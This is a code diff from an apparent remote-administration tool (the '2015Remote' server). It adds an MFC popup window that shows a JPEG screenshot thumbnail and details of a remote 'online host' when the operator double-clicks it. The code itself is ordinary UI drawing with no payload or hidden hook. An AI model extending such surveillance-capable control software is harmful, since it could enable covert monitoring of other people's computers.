+    afx_msg LRESULT OnPreviewResponse(WPARAM wParam, LPARAM lParam);
    afx_msg void OnOnlineUnauthorize();
    afx_msg void OnToolRequestAuth();
    afx_msg LRESULT OnPasswordCheck(WPARAM wParam, LPARAM lParam);
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -338,6 +338,7 @@
    <ClInclude Include="FeatureLimitsDlg.h" />
    <ClInclude Include="FrpsForSubDlg.h" />
    <ClInclude Include="PluginSettingsDlg.h" />
+    <ClInclude Include="PreviewTipWnd.h" />
    <ClInclude Include="TriggerSettingsDlg.h" />
    <ClInclude Include="proxy\HPSocket.h" />
    <ClInclude Include="proxy\HPTypeDef.h" />
@@ -388,6 +389,7 @@
      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
    </ClCompile>
    <ClCompile Include="PluginSettingsDlg.cpp" />
+    <ClCompile Include="PreviewTipWnd.cpp" />
    <ClCompile Include="TriggerSettingsDlg.cpp" />
    <ClCompile Include="WebService.cpp" />
    <ClCompile Include="..\..\client\MemoryModule.c">
--- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters
@@ -81,6 +81,7 @@
    <ClCompile Include="WebService.cpp" />
    <ClCompile Include="msvc_compat.c" />
    <ClCompile Include="PluginSettingsDlg.cpp" />
+    <ClCompile Include="PreviewTipWnd.cpp" />
    <ClCompile Include="TriggerSettingsDlg.cpp" />
  </ItemGroup>
  <ItemGroup>
@@ -185,6 +186,7 @@
    <ClInclude Include="WebPage.h" />
    <ClInclude Include="SimpleWebSocket.h" />
    <ClInclude Include="PluginSettingsDlg.h" />
+    <ClInclude Include="PreviewTipWnd.h" />
    <ClInclude Include="TriggerSettingsDlg.h" />
  </ItemGroup>
  <ItemGroup>
--- a/server/2015Remote/PreviewTipWnd.cpp
+++ b/server/2015Remote/PreviewTipWnd.cpp
@@ -0,0 +1,243 @@
+// PreviewTipWnd.cpp
+#include "stdafx.h"
+#include "PreviewTipWnd.h"
+
+#include <objidl.h>     // IUnknown / IStream — gdiplus.h 依赖它们已声明
+#include <gdiplus.h>
+#pragma comment(lib, "gdiplus.lib")
+
+using namespace Gdiplus;
+
+namespace {
+constexpr int PADDING        = 8;
+constexpr int IMAGE_TEXT_GAP = 6;     // 图像与下方文本之间的留白
+constexpr int MIN_TEXT_W     = 360;
+constexpr int MAX_TEXT_W     = 720;   // 文本可换行宽度上限（垂直布局，宽度不再受图像挤压）
+constexpr int MAX_IMAGE_W    = 960;   // 显示上限（防止 LAN 档 1280 的 JPEG 把窗口顶到屏幕外）
+constexpr int LOADING_W      = 480;   // 占位的最小宽度（图像未到达时）
+constexpr int LOADING_H      = 270;
+} // namespace
+
+BEGIN_MESSAGE_MAP(CPreviewTipWnd, CWnd)
+    ON_WM_PAINT()
+    ON_WM_ERASEBKGND()
+END_MESSAGE_MAP()
+
+CPreviewTipWnd::CPreviewTipWnd() = default;
+
+CPreviewTipWnd::~CPreviewTipWnd()
+{
+    // m_image 通过 unique_ptr 自动释放
+}
+
+BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW)
+{
+    m_text = text;
+    m_imageReserveW = imageReserveW > 0 ? min(imageReserveW, MAX_IMAGE_W) : 0;
+    m_imageReserveH = m_imageReserveW > 0 ? (m_imageReserveW * 9 / 16) : 0;
+    if (m_imageReserveW > 0 && m_imageReserveW < LOADING_W) {
+        m_imageReserveW = LOADING_W;
+        m_imageReserveH = LOADING_H;
+    }
+
+    // 创建字体（项目是 MBCS，但浮窗用宽字符；显式 LOGFONTW + W 版 API 避免编码混淆）
+    LOGFONTW lf = {};
+    HFONT hSysFont = (HFONT)::GetStockObject(DEFAULT_GUI_FONT);
+    if (hSysFont && ::GetObjectW(hSysFont, sizeof(lf), &lf) == 0) {
+        hSysFont = nullptr;
+    }
+    if (!hSysFont) {
+        lf.lfHeight = -12;
+        wcscpy_s(lf.lfFaceName, L"Microsoft YaHei");
+    }
+    HFONT hF = ::CreateFontIndirectW(&lf);
+    if (hF) m_font.Attach(hF);
+
+    // 注册自绘窗口类：用 MFC 的 AfxRegisterWndClass 确保和 MFC 子类化机制兼容
+    LPCTSTR kClass = AfxRegisterWndClass(
+        CS_SAVEBITS,
+        ::LoadCursor(NULL, IDC_ARROW),
+        (HBRUSH)(COLOR_INFOBK + 1),
+        NULL);
+
+    // 临时尺寸；RecalcLayoutAndResize 会在创建后调整
+    CRect rc(anchor.x, anchor.y, anchor.x + 400, anchor.y + 200);
+    BOOL bOk = CWnd::CreateEx(
+        WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE,
+        kClass, _T(""),
+        WS_POPUP | WS_BORDER,
+        rc, pParent, 0);
+    if (!bOk) return FALSE;
+
+    RecalcLayoutAndResize();
+
+    ShowWindow(SW_SHOWNOACTIVATE);
+    return TRUE;
+}
+
+void CPreviewTipWnd::SetImageFromJpeg(const BYTE* data, size_t bytes)
+{
+    if (!data || bytes == 0) return;
+
+    HGLOBAL hMem = ::GlobalAlloc(GMEM_MOVEABLE, bytes);
+    if (!hMem) return;
+    void* p = ::GlobalLock(hMem);
+    if (!p) { ::GlobalFree(hMem); return; }
+    memcpy(p, data, bytes);
+    ::GlobalUnlock(hMem);
+
+    IStream* stream = nullptr;
+    if (FAILED(::CreateStreamOnHGlobal(hMem, TRUE, &stream))) {
+        ::GlobalFree(hMem);
+        return;
+    }
+
+    std::unique_ptr<Bitmap> bmp(new Bitmap(stream, FALSE));
+    stream->Release();   // CreateStreamOnHGlobal(..., TRUE) 释放 stream 时会释放 hMem
+
+    if (!bmp || bmp->GetLastStatus() != Ok) {
+        return;
+    }
+
+    m_image = std::move(bmp);
+    m_hasImage = true;
+    m_unavailable = false;
+    RecalcLayoutAndResize();
+    if (GetSafeHwnd()) Invalidate();
+}
+
+void CPreviewTipWnd::MarkPreviewUnavailable()
+{
+    if (m_hasImage) return;   // 已经有图就不再覆盖
+    m_unavailable = true;
+    if (GetSafeHwnd()) Invalidate();
+}
+
+void CPreviewTipWnd::RecalcLayoutAndResize()
+{
+    HWND hWnd = GetSafeHwnd();
+    if (!hWnd) return;
+
+    // 估算图像尺寸（先算图像，因为文本宽度要参考图像宽度对齐）
+    if (m_image) {
+        int iw = (int)m_image->GetWidth();
+        int ih = (int)m_image->GetHeight();
+        if (iw > MAX_IMAGE_W) {
+            ih = (int)((double)ih * MAX_IMAGE_W / iw + 0.5);
+            iw = MAX_IMAGE_W;
+        }
+        m_imageDrawW = iw;
+        m_imageDrawH = ih;
+    } else {
+        m_imageDrawW = m_imageReserveW;
+        m_imageDrawH = m_imageReserveH;
+    }
+
+    // 文本换行宽度：与图像同宽（让文本视觉上对齐到图像下方），但不超过 MAX_TEXT_W
+    // 没有图像时退化到 MAX_TEXT_W
+    int textWrapW = m_imageDrawW > 0 ? min((int)MAX_TEXT_W, m_imageDrawW) : (int)MAX_TEXT_W;
+    if (textWrapW < MIN_TEXT_W) textWrapW = MIN_TEXT_W;
+
+    // 估算文本尺寸（项目是 MBCS，但浮窗文本是宽字符，必须显式调用 W 版本）
+    CClientDC dc(this);
+    CFont* old = dc.SelectObject(&m_font);
+    CRect rcText(0, 0, textWrapW, 32767);
+    ::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &rcText,
+                DT_CALCRECT | DT_LEFT | DT_WORDBREAK | DT_NOPREFIX);
+    m_textW = max((int)MIN_TEXT_W, rcText.Width());
+    if (m_imageDrawW > 0) m_textW = max(m_textW, m_imageDrawW);   // 至少与图像同宽
+    m_textH = rcText.Height();
+    dc.SelectObject(old);
+
+    int contentW = max(m_imageDrawW, m_textW);
+    int gap = (m_imageDrawW > 0 && m_textH > 0) ? IMAGE_TEXT_GAP : 0;
+    int totalW = PADDING + contentW + PADDING;
+    int totalH = PADDING + m_imageDrawH + gap + m_textH + PADDING;
+
+    // 当前左上角
+    CRect rc;
+    GetWindowRect(&rc);
+    int newX = rc.left;
+    int newY = rc.top;
+
+    // 防止越出屏幕：右下夹紧到工作区
+    HMONITOR hMon = MonitorFromPoint(CPoint(newX, newY), MONITOR_DEFAULTTONEAREST);
+    MONITORINFO mi = { sizeof(mi) };
+    if (hMon && GetMonitorInfo(hMon, &mi)) {
+        if (newX + totalW > mi.rcWork.right)  newX = max((int)mi.rcWork.left,  mi.rcWork.right  - totalW);
+        if (newY + totalH > mi.rcWork.bottom) newY = max((int)mi.rcWork.top,   mi.rcWork.bottom - totalH);
+    }
+
+    SetWindowPos(NULL, newX, newY, totalW, totalH, SWP_NOZORDER | SWP_NOACTIVATE);
+}
+
+BOOL CPreviewTipWnd::OnEraseBkgnd(CDC* /*pDC*/)
+{
+    return TRUE;   // 在 OnPaint 里整体填充
+}
+
+void CPreviewTipWnd::OnPaint()
+{
+    CPaintDC pdc(this);
+    CRect rcClient;
+    GetClientRect(&rcClient);
+
+    // 双缓冲
+    CDC memDC;
+    memDC.CreateCompatibleDC(&pdc);
+    CBitmap memBmp;
+    memBmp.CreateCompatibleBitmap(&pdc, rcClient.Width(), rcClient.Height());
+    CBitmap* oldBmp = memDC.SelectObject(&memBmp);
+
+    memDC.FillSolidRect(&rcClient, ::GetSysColor(COLOR_INFOBK));
+
+    CFont* oldFont = memDC.SelectObject(&m_font);
+    memDC.SetTextColor(::GetSysColor(COLOR_INFOTEXT));
+    memDC.SetBkMode(TRANSPARENT);
+
+    int curY = PADDING;
+    if (m_imageDrawW > 0 && m_imageDrawH > 0) {
+        CRect rcImg(PADDING, curY, PADDING + m_imageDrawW, curY + m_imageDrawH);
+        DrawImageArea(memDC, rcImg);
+        curY += m_imageDrawH + IMAGE_TEXT_GAP;
+    }
+
+    CRect rcText(PADDING, curY, PADDING + m_textW, curY + m_textH);
+    DrawTextArea(memDC, rcText);
+
+    memDC.SelectObject(oldFont);
+    pdc.BitBlt(0, 0, rcClient.Width(), rcClient.Height(), &memDC, 0, 0, SRCCOPY);
+    memDC.SelectObject(oldBmp);
+}
+
+void CPreviewTipWnd::DrawImageArea(CDC& dc, const CRect& rc)
+{
+    // 边框
+    dc.Draw3dRect(&rc, ::GetSysColor(COLOR_3DSHADOW), ::GetSysColor(COLOR_3DSHADOW));
+
+    if (m_hasImage && m_image) {
+        Graphics g(dc.GetSafeHdc());
+        g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
+        g.SetSmoothingMode(SmoothingModeHighQuality);
+        g.DrawImage(m_image.get(), rc.left + 1, rc.top + 1, rc.Width() - 2, rc.Height() - 2);
+    } else {
+        // 占位灰色背景
+        CRect rcInner = rc;
+        rcInner.DeflateRect(1, 1);
+        dc.FillSolidRect(&rcInner, RGB(245, 245, 245));
+
+        const wchar_t* placeholder = m_unavailable ? L"Preview Unavailable" : L"Loading Preview ...";
+        UINT fmt = DT_CENTER | DT_VCENTER | DT_SINGLELINE | DT_NOPREFIX;
+        dc.SetTextColor(m_unavailable ? RGB(160, 80, 80) : RGB(120, 120, 120));
+        RECT rcInnerRaw = rcInner;
+        ::DrawTextW(dc.GetSafeHdc(), placeholder, -1, &rcInnerRaw, fmt);
+        dc.SetTextColor(::GetSysColor(COLOR_INFOTEXT));
+    }
+}
+
+void CPreviewTipWnd::DrawTextArea(CDC& dc, const CRect& rc)
+{
+    RECT r = rc;
+    ::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &r,
+                DT_LEFT | DT_TOP | DT_WORDBREAK | DT_NOPREFIX);
+}
--- a/server/2015Remote/PreviewTipWnd.h
+++ b/server/2015Remote/PreviewTipWnd.h
@@ -0,0 +1,57 @@
+// PreviewTipWnd.h
+// 双击在线主机时弹出的浮窗：上方 JPEG 缩略图，下方主机信息文本。
+// 无图片时显示"加载预览…"占位，供 OnListClick 即时弹窗、收到响应后再 SetImage 重画。
+#pragma once
+
+#include <afxwin.h>
+#include <memory>
+#include <vector>
+
+namespace Gdiplus { class Bitmap; }
+
+class CPreviewTipWnd : public CWnd
+{
+public:
+    CPreviewTipWnd();
+    virtual ~CPreviewTipWnd();
+
+    // 创建浮窗。
+    //   anchor          屏幕坐标，浮窗左上角
+    //   text            下方显示的主机详情文本（宽字符，确保跨语言系统正确渲染）
+    //   imageReserveW   上方图像区域预留宽度（即将到来的预览最大宽度，仅作初始布局）
+    //                   为 0 表示不预留 — 与老 STATIC 路径行为一致（仅文本）
+    BOOL Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW);
+
+    // 收到 JPEG 后调用：解码并重画。线程安全前提是只在主 UI 线程调用。
+    void SetImageFromJpeg(const BYTE* data, size_t bytes);
+    // 标记预览不可用（请求超时 / 客户端报错）。
+    void MarkPreviewUnavailable();
+
+    WORD GetReqId() const { return m_reqId; }
+    void SetReqId(WORD id) { m_reqId = id; }
+
+protected:
+    afx_msg void OnPaint();
+    afx_msg BOOL OnEraseBkgnd(CDC* pDC);
+    DECLARE_MESSAGE_MAP()
+
+private:
+    void RecalcLayoutAndResize();
+    void DrawImageArea(CDC& dc, const CRect& rc);
+    void DrawTextArea(CDC& dc, const CRect& rc);
+
+    CStringW m_text;
+    int m_imageReserveW = 0;     // 预留图像宽度（图像未到达时占位）
+    int m_imageReserveH = 0;     // 预留图像高度（按 16:9）
+    int m_imageDrawW = 0;        // 实际图像绘制宽度
+    int m_imageDrawH = 0;        // 实际图像绘制高度
+    int m_textW = 0;
+    int m_textH = 0;
+
+    bool m_hasImage = false;
+    bool m_unavailable = false;
+    std::unique_ptr<Gdiplus::Bitmap> m_image;
+
+    CFont m_font;
+    WORD  m_reqId = 0;
+};
--- a/server/2015Remote/context.h
+++ b/server/2015Remote/context.h
@@ -68,4 +68,11 @@ public:
        if (caps.IsEmpty()) return false;
        return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_UTF8) != 0;
    }
+
+    // 检查客户端是否支持屏幕预览（双击主机时拉缩略图）。
+    bool SupportsScreenPreview() const {
+        CString caps = GetClientData(ONLINELIST_CAPABILITIES);
+        if (caps.IsEmpty()) return false;
+        return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_SCREEN_PREVIEW) != 0;
+    }
 };
--- a/server/2015Remote/stdafx.h
+++ b/server/2015Remote/stdafx.h
@@ -101,6 +101,7 @@
 #define WM_SHOWNOTIFY					WM_USER+3031
 #define WM_DISCONNECT					WM_USER+3032
 #define WM_OPENTERMINALDIALOG			WM_USER+3033
+#define WM_PREVIEW_RESPONSE				WM_USER+3034

 #ifdef _UNICODE
 #if defined _M_IX86